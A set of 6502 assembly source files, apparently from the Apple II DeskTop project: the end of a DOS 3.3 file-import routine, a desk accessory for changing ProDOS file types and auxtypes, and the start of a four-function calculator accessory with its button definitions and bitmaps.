RTS_IF_CS
JUMP_TABLE_MLI_CALL OPEN, open_params
RTS_IF_CS
lda open_params::ref_num
sta write_params::ref_num
sta set_eof_params::ref_num
sta close_params::ref_num
;; --------------------------------------------------
;; Loop over sectors
write_sector:
JUMP_TABLE_MLI_CALL WRITE, write_params
;; TODO: CLOSE on error
RTS_IF_CS
read_sector:
;; Read next sector
ldy tslist_offset
beq next_tslist_sector
copy16 #RWTS_SECTOR_BUF, $06
lda TS_BUF+0,y ; Track
beq finish
ldx TS_BUF+1,y ; Sector
ldy control_block+ControlBlock::unit_num
jsr RWTSRead
RTS_IF_CS
jsr IncProgress
inc tslist_offset
inc tslist_offset
;; All remaining sectors are full data
copy16 #RWTS_SECTOR_BUF, write_params::data_buffer
copy16 #$100, write_params::request_count
jmp write_sector
;; --------------------------------------------------
;; Advance to file's next T/S List sector
next_tslist_sector:
copy16 #TS_BUF, $06
lda TS_BUF+dos33::TSList::NextTrack
beq finish
ldx TS_BUF+dos33::TSList::NextSector
ldy control_block+ControlBlock::unit_num
jsr RWTSRead
RTS_IF_CS
jsr IncProgress
copy8 #dos33::TSList::FirstDataT, tslist_offset
jmp read_sector
;; --------------------------------------------------
;; Truncate to exact length (if known)
finish:
copy16 control_block+ControlBlock::progress_denom, control_block+ControlBlock::progress_num
jsr SendControlBlock
JSR_TO_AUX aux::Catalog::UpdateProgressMeter
bit set_eof_flag
IF_NS
JUMP_TABLE_MLI_CALL SET_EOF, set_eof_params
END_IF
JUMP_TABLE_MLI_CALL CLOSE, close_params
SET_BIT7_FLAG dirty_flag
return #0 ; success
;;; C=1 if false
.proc IsUpperAlpha
cmp #'A'
bcc no
cmp #'Z'+1
bcs no
rts
no: sec
rts
.endproc ; IsUpperAlpha
;;; C=1 if false
.proc IsDigit
cmp #'0'
bcc no
cmp #'9'+1
bcs no
rts
no: sec
rts
.endproc ; IsDigit
;;; Count leading zeros
;;; Input: A = byte
;;; Output: X = leading zeros (0...8)
.proc clz
ldx #0
DO
lsr a
BREAK_IF_CS
inx
WHILE_X_NE #8
rts
.endproc ; clz
.proc IncProgress
inc16 control_block+ControlBlock::progress_num
jsr SendControlBlock
JSR_TO_AUX aux::Catalog::UpdateProgressMeter
rts
.endproc ; IncProgress
entry_buf:
.tag aux::CatalogEntry
path_buf:
.res ::kPathBufferSize, 0
;;; Index is CLZ of DOS 3.3 type
prodos_type_table:
.byte FT_INT ; 'I'
.byte FT_BASIC ; 'A'
.byte FT_BINARY ; 'B'
.byte FT_TYPELESS ; 'S'
.byte FT_REL ; 'R'
.byte FT_TYPELESS ; '1'
.byte FT_TYPELESS ; '2'
.byte FT_TYPELESS ; (unused)
.byte FT_TEXT ; 'T'
.endproc ; DoImport
;;; ============================================================
dirty_flag: .byte 0 ; bit7
prefix_path: .res ::kPathBufferSize, 0
.proc GetWinPath
ptr := $06
JUMP_TABLE_MGTK_CALL MGTK::FrontWindow, ptr
lda ptr ; any window open?
beq fail
cmp #kMaxDeskTopWindows+1
bcs fail
jsr JUMP_TABLE_GET_WIN_PATH
stax ptr
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, prefix_path,y
dey
WHILE_POS
return #0
fail: return #1
.endproc ; GetWinPath
;;; ============================================================
;;; Inspect boot block for DOS 3.3 signature
;;; Input: A = `unit_num`
;;; Output: Z=1 if DOS 3.3 disk, Z=0 otherwise
.proc IsDOS33Impl
DEFINE_READWRITE_BLOCK_PARAMS read_block_params, RWTS_BLOCK_BUF, 0
start:
sta read_block_params::unit_num
JUMP_TABLE_MLI_CALL READ_BLOCK, read_block_params
IF_ZERO
lda RWTS_BLOCK_BUF+1
cmp #$A5
IF_EQ
lda RWTS_BLOCK_BUF+2
cmp #$27
END_IF
END_IF
rts
.endproc ; IsDOS33Impl
IsDOS33 := IsDOS33Impl::start
;;; ============================================================
;;; Input: A = Track, X = Sector, Y = unit_num, $06/$07 = 256-byte buffer
;;; Output: C=0 on success, C=1 on error
;;; Trashes: $08/$09
.scope RWTSImpl
;;; See ProDOS-8 Technical Reference Manual
;;; Appendix B.5 DOS 3.3 Disk Organization
;;; Block = (8 * Track) + Sector Offset
offset_table: .byte 0, 7, 6, 6, 5, 5, 4, 4, 3, 3, 2, 2, 1, 1, 0, 7
half_table: .byte 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1
block_buf := RWTS_BLOCK_BUF
DEFINE_READWRITE_BLOCK_PARAMS block_params, block_buf, 0
.proc Read
dst_ptr := $06
src_ptr := $08
jsr ProcessParams
lda #<block_buf
sta src_ptr
lda #>block_buf
adc #0 ; C=1 if upper half
sta src_ptr+1
;; Read the whole block
JUMP_TABLE_MLI_CALL READ_BLOCK, block_params
RTS_IF_CS
;; Copy sector data out from appropriate half
ldy #0
DO
copy8 (src_ptr),y, (dst_ptr),y
dey
WHILE_NOT_ZERO
clc
rts
.endproc ; Read
.proc Write
src_ptr := $06
dst_ptr := $08
;; TODO: Untested! Do not use until carefully verified
brk
jsr ProcessParams
lda #<block_buf
sta dst_ptr
lda #>block_buf
adc #0 ; C=1 if upper half
sta dst_ptr+1
;; Read the whole block
JUMP_TABLE_MLI_CALL READ_BLOCK, block_params
RTS_IF_CS
;; Copy sector data into place in appropriate half
ldy #0
DO
copy8 (src_ptr),y, (dst_ptr),y
dey
WHILE_NOT_ZERO
;; Write the updated block back out
JUMP_TABLE_MLI_CALL WRITE_BLOCK, block_params
rts
.endproc ; Write
.proc ProcessParams
sty block_params::unit_num
;; Calculate `block_num`/`half`
;; Block = (8 * Track) + Sector Offset
pha
lda #0
sta block_params::block_num+1
pla
asl a
rol block_params::block_num+1
asl a
rol block_params::block_num+1
asl a
rol block_params::block_num+1
clc
adc offset_table,x
sta block_params::block_num
bcc :+
inc block_params::block_num+1
:
lda half_table,x
ror a ; flag -> C
rts
.endproc ; ProcessParams
.endscope ; RWTSImpl
;;; Exports
RWTSRead := RWTSImpl::Read
RWTSWrite := RWTSImpl::Write
;;; ============================================================
.include "../lib/is_diskii.s"
.include "../lib/uppercase.s"
;;; ============================================================
.endscope ; main
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 21,331
|
src/desk.acc/change.type.s
|
;;; ============================================================
;;; CHANGE.TYPE - Desk Accessory
;;;
;;; Shows the ProDOS type and auxtype of selected files, and lets the
;;; user edit either or both.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "change.type.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../toolkits/letk.inc"
.include "../toolkits/icontk.inc"
.include "../lib/alert_dialog.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
;;; Window
kDialogWidth = 287
kDialogHeight = 75
kDAWindowId = $80
.params closewindow_params
window_id: .byte kDAWindowId
.endparams
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::dialog_box
title: .addr 0
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 0
hthumbpos: .byte 0
vthumbmax: .byte 0
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word 100
mincontheight: .word 100
maxcontwidth: .word 500
maxcontheight: .word 500
port:
DEFINE_POINT viewloc, (kScreenWidth-kDialogWidth)/2, (kScreenHeight-kDialogHeight)/2
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDialogWidth, kDialogHeight
pattern: .res 8,$FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::notpencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
pensize_normal: .byte 1, 1
pensize_frame: .byte kBorderDX, kBorderDY
DEFINE_RECT_FRAME frame_rect, kDialogWidth, kDialogHeight
;;; ============================================================
;;; Buttons
kControlMarginX = 16
kOKButtonLeft = kDialogWidth - kButtonWidth - kControlMarginX
kCancelButtonLeft = kControlMarginX
kButtonTop = kDialogHeight - kButtonHeight - 7
DEFINE_BUTTON ok_button, kDAWindowId, res_string_button_ok, kGlyphReturn, kOKButtonLeft, kButtonTop
DEFINE_BUTTON cancel_button, kDAWindowId, res_string_button_cancel, res_string_button_cancel_shortcut, kCancelButtonLeft, kButtonTop
;;; ============================================================
;;; Line Edits
auxtype_focused_flag:
.byte 0
str_type:
PASCAL_STRING "00"
str_auxtype:
PASCAL_STRING "0000"
kTextBoxLeft = 145
kTextBoxWidth = 40
kTypeY = 18
kAuxtypeY = 35
DEFINE_LINE_EDIT type_line_edit_rec, kDAWindowId, str_type, kTextBoxLeft, kTypeY, kTextBoxWidth, 2
DEFINE_LINE_EDIT_PARAMS type_le_params, type_line_edit_rec
DEFINE_RECT_SZ type_rect, kTextBoxLeft, kTypeY, kTextBoxWidth, kTextBoxHeight
DEFINE_LINE_EDIT auxtype_line_edit_rec, kDAWindowId, str_auxtype, kTextBoxLeft, kAuxtypeY, kTextBoxWidth, 4
DEFINE_LINE_EDIT_PARAMS auxtype_le_params, auxtype_line_edit_rec
DEFINE_RECT_SZ auxtype_rect, kTextBoxLeft, kAuxtypeY, kTextBoxWidth, kTextBoxHeight
DEFINE_LABEL type, res_string_label_type, kTextBoxLeft-2, kTypeY+kSystemFontHeight+1
DEFINE_LABEL auxtype, res_string_label_auxtype, kTextBoxLeft-2, kAuxtypeY+kSystemFontHeight+1
;;; ============================================================
;;; Alerts
.params AlertNoFilesSelected
.addr str_err_no_files_selected
.byte AlertButtonOptions::OK
.byte AlertOptions::Beep | AlertOptions::SaveBack
.endparams
str_err_no_files_selected:
PASCAL_STRING res_string_err_no_files_selected
.params AlertDirectoriesNotOK
.addr str_err_directories_not_ok
.byte AlertButtonOptions::OK
.byte AlertOptions::Beep | AlertOptions::SaveBack
.endparams
str_err_directories_not_ok:
PASCAL_STRING res_string_err_directories_not_supported
;;; ============================================================
.include "../lib/event_params.s"
;;; ============================================================
;;; Copied from/to main
.params data
type_valid: .byte 0
type: .byte SELF_MODIFIED_BYTE
auxtype_valid: .byte 0
auxtype: .word SELF_MODIFIED
.endparams
;;; ============================================================
.proc RunDA
bit data::type_valid
IF_NC
copy8 #0, str_type
ELSE
copy8 #2, str_type
lda data::type
jsr GetDigits
sta str_type+1
stx str_type+2
END_IF
bit data::auxtype_valid
IF_NC
copy8 #0, str_auxtype
ELSE
copy8 #4, str_auxtype
lda data::auxtype+1
jsr GetDigits
sta str_auxtype+1
stx str_auxtype+2
lda data::auxtype
jsr GetDigits
sta str_auxtype+3
stx str_auxtype+4
END_IF
MGTK_CALL MGTK::OpenWindow, winfo
LETK_CALL LETK::Init, type_le_params
LETK_CALL LETK::Init, auxtype_le_params
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
LETK_CALL LETK::Activate, type_le_params
FALL_THROUGH_TO InputLoop
.endproc ; RunDA
;;; ============================================================
;;; Input loop
.proc InputLoop
bit auxtype_focused_flag
IF_NC
LETK_CALL LETK::Idle, type_le_params
ELSE
LETK_CALL LETK::Idle, auxtype_le_params
END_IF
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
jsr GetNextEvent
cmp #kEventKindMouseMoved
jeq HandleMouseMoved
cmp #MGTK::EventKind::button_down
jeq HandleButtonDown
cmp #MGTK::EventKind::key_down
jeq HandleKeyDown
jmp InputLoop
.endproc ; InputLoop
;;; ==================================================
.proc HandleMouseMoved
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, type_rect
IF_NOT_ZERO
jsr SetCursorIBeam
jmp InputLoop
END_IF
MGTK_CALL MGTK::InRect, auxtype_rect
IF_NOT_ZERO
jsr SetCursorIBeam
jmp InputLoop
END_IF
jsr SetCursorPointer
jmp InputLoop
cursor_ibeam_flag: .byte 0
.proc SetCursorIBeam
bit cursor_ibeam_flag
RTS_IF_NS
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::ibeam
SET_BIT7_FLAG cursor_ibeam_flag
rts
.endproc ; SetCursorIBeam
.proc SetCursorPointer
bit cursor_ibeam_flag
RTS_IF_NC
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
CLEAR_BIT7_FLAG cursor_ibeam_flag
rts
.endproc ; SetCursorPointer
.endproc ; HandleMouseMoved
;;; ============================================================
.proc HandleButtonDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
jne InputLoop
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
MGTK_CALL MGTK::InRect, ok_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, ok_button
jpl ExitOK
jmp InputLoop
END_IF
MGTK_CALL MGTK::InRect, cancel_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, cancel_button
jpl ExitCancel
jmp InputLoop
END_IF
MGTK_CALL MGTK::InRect, type_rect
IF_NE
jsr FocusType
COPY_STRUCT screentowindow_params::window, type_le_params::coords
LETK_CALL LETK::Click, type_le_params
jmp InputLoop
END_IF
MGTK_CALL MGTK::InRect, auxtype_rect
IF_NE
jsr FocusAuxtype
COPY_STRUCT screentowindow_params::window, auxtype_le_params::coords
LETK_CALL LETK::Click, auxtype_le_params
jmp InputLoop
END_IF
jmp InputLoop
.endproc ; HandleButtonDown
;;; ============================================================
.proc HandleKeyDown
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
jeq ExitCancel
jmp InputLoop
END_IF
IF_A_EQ #CHAR_ESCAPE
BTK_CALL BTK::Flash, cancel_button
jmp ExitCancel
END_IF
IF_A_EQ #CHAR_RETURN
BTK_CALL BTK::Flash, ok_button
jmp ExitOK
END_IF
IF_A_EQ #CHAR_TAB
bit auxtype_focused_flag
IF_NC
jsr FocusAuxtype
ELSE
jsr FocusType
END_IF
jmp InputLoop
END_IF
jsr IsControlChar
IF_CS
jsr IsHexChar
IF_CS
jmp InputLoop
END_IF
END_IF
bit auxtype_focused_flag
IF_NC
sta type_le_params::key
copy8 event_params::modifiers, type_le_params::modifiers
LETK_CALL LETK::Key, type_le_params
ELSE
sta auxtype_le_params::key
copy8 event_params::modifiers, auxtype_le_params::modifiers
LETK_CALL LETK::Key, auxtype_le_params
END_IF
jmp InputLoop
;;; Input: A=character
;;; Output: C=0 if control, C=1 if not
.proc IsControlChar
cmp #CHAR_DELETE
bcs yes
cmp #' '
rts ; C=0 (if less) or 1
yes: clc ; C=0
rts
.endproc ; IsControlChar
;;; Input: A=character
;;; Output: C=0 if valid hex character, C=1 otherwise
.proc IsHexChar
jsr ToUpperCase
cmp #'0'
bcc no
cmp #'9'+1
bcc yes
cmp #'A'
bcc no
cmp #'F'+1
bcc yes
no: sec
rts
yes: clc
rts
.endproc ; IsHexChar
.endproc ; HandleKeyDown
;;; ============================================================
;;; No-op if type already focused
.proc FocusType
bit auxtype_focused_flag
IF_NS
LETK_CALL LETK::Deactivate, auxtype_le_params
LETK_CALL LETK::Activate, type_le_params
CLEAR_BIT7_FLAG auxtype_focused_flag
END_IF
rts
.endproc ; FocusType
;;; No-op if auxtype already focused
.proc FocusAuxtype
bit auxtype_focused_flag
IF_NC
LETK_CALL LETK::Deactivate, type_le_params
LETK_CALL LETK::Activate, auxtype_le_params
SET_BIT7_FLAG auxtype_focused_flag
END_IF
rts
.endproc ; FocusAuxtype
;;; ============================================================
.proc PadType
DO
lda str_type
BREAK_IF_A_EQ #2
copy8 str_type+1, str_type+2
copy8 #'0', str_type+1
inc str_type
WHILE_NOT_ZERO ; always
rts
.endproc ; PadType
.proc PadAuxtype
DO
lda str_auxtype
BREAK_IF_A_EQ #4
copy8 str_auxtype+3, str_auxtype+4
copy8 str_auxtype+2, str_auxtype+3
copy8 str_auxtype+1, str_auxtype+2
copy8 #'0', str_auxtype+1
inc str_auxtype
WHILE_NOT_ZERO ; always
rts
.endproc ; PadAuxtype
;;; ============================================================
.proc ExitOK
lda #$80
bne Exit ; always
.endproc ; ExitOK
.proc ExitCancel
lda #0
FALL_THROUGH_TO Exit
.endproc ; ExitCancel
.proc Exit
pha
MGTK_CALL MGTK::CloseWindow, closewindow_params
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
lda str_type
IF_ZERO
CLEAR_BIT7_FLAG data::type_valid
ELSE
SET_BIT7_FLAG data::type_valid
jsr PadType
lda str_type+1
ldx str_type+2
jsr DigitsToByte
sta data::type
END_IF
lda str_auxtype
IF_ZERO
CLEAR_BIT7_FLAG data::auxtype_valid
ELSE
SET_BIT7_FLAG data::auxtype_valid
jsr PadAuxtype
lda str_auxtype+1
ldx str_auxtype+2
jsr DigitsToByte
sta data::auxtype+1
lda str_auxtype+3
ldx str_auxtype+4
jsr DigitsToByte
sta data::auxtype
END_IF
pla
rts
;;; Input: A = ASCII digit
;;; Output A = value in low nibble
.proc DigitToNibble
IF_A_LT #'9'+1
and #%00001111
rts
END_IF
sec
sbc #('A' - 10)
rts
.endproc ; DigitToNibble
;;; Inputs: A,X = ASCII digits (first, second)
;;; Output: A = byte
.proc DigitsToByte
jsr DigitToNibble
asl
asl
asl
asl
sta mod
txa
jsr DigitToNibble
mod := *+1
ora #SELF_MODIFIED_BYTE
rts
.endproc ; DigitsToByte
.endproc ; Exit
;;; ============================================================
;;; Render the window contents
.proc DrawWindow
MGTK_CALL MGTK::SetPort, winfo::port
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, frame_rect
MGTK_CALL MGTK::SetPenSize, pensize_normal
MGTK_CALL MGTK::MoveTo, type_label_pos
param_call DrawStringRight, type_label_str
MGTK_CALL MGTK::MoveTo, auxtype_label_pos
param_call DrawStringRight, auxtype_label_str
MGTK_CALL MGTK::FrameRect, type_rect
MGTK_CALL MGTK::FrameRect, auxtype_rect
BTK_CALL BTK::Draw, ok_button
BTK_CALL BTK::Draw, cancel_button
rts
.endproc ; DrawWindow
;;; ============================================================
;;; Input: A = value
;;; Output: A,X = high/low nibbles as ASCII digits
.proc GetDigits
tay
lsr ; high nibble
lsr
lsr
lsr
tax
lda digits,x
pha
tya
and #$0F ; low nibble
tax
lda digits,x
tax ; X = low digit
pla ; A = high digit
rts
digits: .byte "0123456789ABCDEF"
.endproc ; GetDigits
;;; ============================================================
.proc DrawStringRight
params := $6
textptr := $6
textlen := $8
result := $9
stax textptr
ldy #0
copy8 (textptr),y, textlen
inc16 textptr
MGTK_CALL MGTK::TextWidth, params
sub16 #0, result, result
lda #0
sta result+2
sta result+3
MGTK_CALL MGTK::Move, result
MGTK_CALL MGTK::DrawText, params
rts
.endproc ; DrawStringRight
;;; ============================================================
.include "../lib/uppercase.s"
.include "../lib/get_next_event.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
jmp Main
;;; ============================================================
;;; Copied to/from aux
.params data
type_valid: .byte 0 ; bit7
type: .byte SELF_MODIFIED_BYTE
auxtype_valid: .byte 0 ; bit7
auxtype: .word SELF_MODIFIED
.endparams
.assert .sizeof(data) = .sizeof(aux::data), error, "size mismatch"
;;; ============================================================
saved_stack:
.byte 0
.proc Main
tsx
stx saved_stack
jsr JUMP_TABLE_GET_SEL_WIN
IF_ZERO
param_jump JUMP_TABLE_SHOW_ALERT_PARAMS, aux::AlertNoFilesSelected
END_IF
jsr JUMP_TABLE_GET_SEL_COUNT
IF_ZERO
param_jump JUMP_TABLE_SHOW_ALERT_PARAMS, aux::AlertNoFilesSelected
END_IF
jsr GetTypes
copy16 #data, STARTLO
copy16 #data+.sizeof(data)-1, ENDLO
copy16 #aux::data, DESTINATIONLO
sec ; main>aux
jsr AUXMOVE
JSR_TO_AUX aux::RunDA
RTS_IF_NC ; cancel
copy16 #aux::data, STARTLO
copy16 #aux::data+.sizeof(data)-1, ENDLO
copy16 #data, DESTINATIONLO
clc ; aux>main
jsr AUXMOVE
jsr ApplyTypes
jsr JUMP_TABLE_GET_SEL_WIN
jmp JUMP_TABLE_ACTIVATE_WINDOW
.endproc ; Main
.proc Abort
ldx saved_stack
txs
rts
.endproc ; Abort
;;; ============================================================
path: .res ::kPathBufferSize
DEFINE_GET_FILE_INFO_PARAMS gfi_params, path
;;; Assert: at least one file selected
.proc GetTypes
copy16 #callback, IterationCallback
jsr IterateSelectedFiles
rts
callback:
pha ; A = index
jsr GetFileInfo
pla
IF_ZERO
;; First - use this type/auxtype
copy8 gfi_params::file_type, data::type
copy16 gfi_params::aux_type, data::auxtype
lda #$80
sta data::type_valid
sta data::auxtype_valid
ELSE
;; Rest - determine if same type/auxtype
lda gfi_params::file_type
IF_A_NE data::type
CLEAR_BIT7_FLAG data::type_valid
END_IF
ecmp16 gfi_params::aux_type, data::auxtype
IF_NE
CLEAR_BIT7_FLAG data::auxtype_valid
END_IF
END_IF
rts
.endproc ; GetTypes
;;; Assert: at least one file selected
.proc ApplyTypes
lda data::type_valid
ora data::auxtype_valid
RTS_IF_NC
copy16 #callback, IterationCallback
jsr IterateSelectedFiles
rts
callback:
jsr GetFileInfo
RTS_IF_NOT_ZERO
bit data::type_valid
IF_NS
;; Disallow changing type to/from directory
lda data::type
cmp gfi_params::file_type
IF_NE
;; type change - either one dir?
lda data::type
IF_A_EQ #FT_DIRECTORY
jsr ShowDirError
jmp skip
END_IF
lda gfi_params::file_type
IF_A_EQ #FT_DIRECTORY
jsr ShowDirError
jmp skip
END_IF
END_IF
copy8 data::type, gfi_params::file_type
END_IF
skip:
bit data::auxtype_valid
IF_NS
copy16 data::auxtype, gfi_params::aux_type
END_IF
jmp SetFileInfo
.endproc ; ApplyTypes
IterationCallback:
.word SELF_MODIFIED
.proc IterateSelectedFiles
copy8 #0, index
ptr := $06
;; Get win path
jsr JUMP_TABLE_GET_SEL_WIN
jsr JUMP_TABLE_GET_WIN_PATH
stax ptr
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, path,y
dey
WHILE_POS
DO
lda path
pha
;; Get icon ptr
lda index
jsr JUMP_TABLE_GET_SEL_ICON
addax #IconEntry::name, ptr
;; Compose path
ldx path
inx
copy8 #'/', path,x
ldy #0
copy8 (ptr),y, len
DO
iny
inx
copy8 (ptr),y, path,x
len := *+1
cpy #SELF_MODIFIED_BYTE
WHILE_NE
stx path
;; Execute callback
lda index
jsr do_callback
;; Next
pla
sta path
inc index
jsr JUMP_TABLE_GET_SEL_COUNT
WHILE_A_NE index
rts
do_callback:
jmp (IterationCallback)
index: .byte 0
.endproc ; IterateSelectedFiles
.proc GetFileInfo
copy8 #$A, gfi_params::param_count ; GET_FILE_INFO
JUMP_TABLE_MLI_CALL GET_FILE_INFO, gfi_params
jcs Abort
rts
.endproc ; GetFileInfo
.proc SetFileInfo
copy8 #7, gfi_params::param_count ; SET_FILE_INFO
JUMP_TABLE_MLI_CALL SET_FILE_INFO, gfi_params
jcs Abort
rts
.endproc ; SetFileInfo
;;; ============================================================
.proc ShowDirError
bit flag
IF_NC
param_call JUMP_TABLE_SHOW_ALERT_PARAMS, aux::AlertDirectoriesNotOK
SET_BIT7_FLAG flag
END_IF
rts
flag: .byte 0
.endproc ; ShowDirError
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 38,460
|
src/desk.acc/calculator.s
|
;;; ============================================================
;;; CALCULATOR - Desk Accessory
;;;
;;; A basic four-function calculator.
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "calculator.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc InitDA
;; Mostly use ZP preservation mode, since we use ROM FP routines.
MGTK_CALL MGTK::SetZP1, setzp_params_preserve
jmp Init
.endproc ; InitDA
.proc ExitDA
MGTK_CALL MGTK::SetZP1, setzp_params_nopreserve
rts
.endproc ; ExitDA
;;; ============================================================
;;; Call Params (and other data)
.include "../lib/event_params.s"
.res 1 ; unused
.params trackgoaway_params
goaway: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
.addr grafport
.endparams
setzp_params_nopreserve: ; performance over convenience
.byte MGTK::zp_overwrite
setzp_params_preserve: ; convenience over performance
.byte MGTK::zp_preserve
;;; ============================================================
;;; Button Definitions
kCalcButtonWidth = 17
kCalcButtonHeight = 9
kCol1Left = 13
kCol1Right = kCol1Left+kCalcButtonWidth ; 30
kCol2Left = 42
kCol2Right = kCol2Left+kCalcButtonWidth ; 59
kCol3Left = 70
kCol3Right = kCol3Left+kCalcButtonWidth ; 87
kCol4Left = 98
kCol4Right = kCol4Left+kCalcButtonWidth ; 115
kRow1Top = 22
kRow1Bot = kRow1Top+kCalcButtonHeight ; 31
kRow2Top = 38
kRow2Bot = kRow2Top+kCalcButtonHeight ; 47
kRow3Top = 53
kRow3Bot = kRow3Top+kCalcButtonHeight ; 62
kRow4Top = 68
kRow4Bot = kRow4Top+kCalcButtonHeight ; 77
kRow5Top = 83
kRow5Bot = kRow5Top+kCalcButtonHeight ; 92
kBorderLeftTop = 1 ; border width pixels (left/top)
kBorderBottomRight = 2 ; (bottom/right)
.macro CALC_BUTTON identifier, labelchar, left, top
.params identifier
DEFINE_POINT viewloc, left - kBorderLeftTop, top - kBorderLeftTop
mapbits: .addr button_bitmap
mapwidth: .byte kBitmapStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kCalcButtonWidth + kBorderLeftTop + kBorderBottomRight, kCalcButtonHeight + kBorderLeftTop + kBorderBottomRight
REF_MAPINFO_MEMBERS
label: .byte labelchar
pos: .word left + 6, top+kCalcButtonHeight
port: .word left, top, left+kCalcButtonWidth, top+kCalcButtonHeight
.refto label
.refto pos
.refto port
.endparams
.endmacro
CALC_BUTTON btn_c, 'c', kCol1Left, kRow1Top
CALC_BUTTON btn_e, 'e', kCol2Left, kRow1Top
CALC_BUTTON btn_eq, '=', kCol3Left, kRow1Top
CALC_BUTTON btn_mul, '*', kCol4Left, kRow1Top
CALC_BUTTON btn_7, '7', kCol1Left, kRow2Top
CALC_BUTTON btn_8, '8', kCol2Left, kRow2Top
CALC_BUTTON btn_9, '9', kCol3Left, kRow2Top
CALC_BUTTON btn_div, '/', kCol4Left, kRow2Top
CALC_BUTTON btn_4, '4', kCol1Left, kRow3Top
CALC_BUTTON btn_5, '5', kCol2Left, kRow3Top
CALC_BUTTON btn_6, '6', kCol3Left, kRow3Top
CALC_BUTTON btn_sub, '-', kCol4Left, kRow3Top
CALC_BUTTON btn_1, '1', kCol1Left, kRow4Top
CALC_BUTTON btn_2, '2', kCol2Left, kRow4Top
CALC_BUTTON btn_3, '3', kCol3Left, kRow4Top
.params btn_0
DEFINE_POINT viewloc, kCol1Left - kBorderLeftTop, kRow5Top - kBorderLeftTop
mapbits: .addr wide_button_bitmap
mapwidth: .byte 8 ; kBitmapStride (bytes)
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, 49, kCalcButtonHeight + kBorderLeftTop + kBorderBottomRight ; 0 is extra wide
REF_MAPINFO_MEMBERS
label: .byte '0'
pos: .word kCol1Left + 6, kRow5Bot
port: .word kCol1Left,kRow5Top,kCol2Right,kRow5Bot
.refto label
.refto pos
.refto port
.endparams
.params btn_dec
DEFINE_POINT viewloc, kCol3Left - kBorderLeftTop, kRow5Top - kBorderLeftTop
mapbits: .addr button_bitmap
mapwidth: .byte kBitmapStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kCalcButtonWidth + kBorderLeftTop + kBorderBottomRight, kCalcButtonHeight + kBorderLeftTop + kBorderBottomRight
REF_MAPINFO_MEMBERS
label: .byte SELF_MODIFIED_BYTE ; populated at runtime
pos: .word kCol3Left + 6 + 2, kRow5Bot ; + 2 to center the label
port: .word kCol3Left,kRow5Top,kCol3Right,kRow5Bot
.refto label
.refto pos
.refto port
.endparams
decimal_label := btn_dec::label
.params btn_add
DEFINE_POINT viewloc, kCol4Left - kBorderLeftTop, kRow4Top - kBorderLeftTop
mapbits: .addr tall_button_bitmap
mapwidth: .byte kBitmapStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kCalcButtonWidth + kBorderLeftTop + kBorderBottomRight, 27 ; + is extra tall
REF_MAPINFO_MEMBERS
label: .byte '+'
pos: .word kCol4Left + 6, kRow5Bot
port: .word kCol4Left,kRow4Top,kCol4Right,kRow5Bot
.refto label
.refto pos
.refto port
.endparams
.byte 0 ; sentinel
;; Button bitmaps. These are used as bitmaps for
;; drawing the shadowed buttons.
;; bitmaps are low 7 bits, 0=black 1=white
kBitmapStride = 3 ; bytes
button_bitmap: ; bitmap for normal buttons
PIXELS "....................#"
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS ".##################.."
PIXELS "....................."
PIXELS "#...................."
kWideBitmapStride = 8
wide_button_bitmap: ; bitmap for '0' button
PIXELS ".................................................#######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
PIXELS ".###############################################..######"
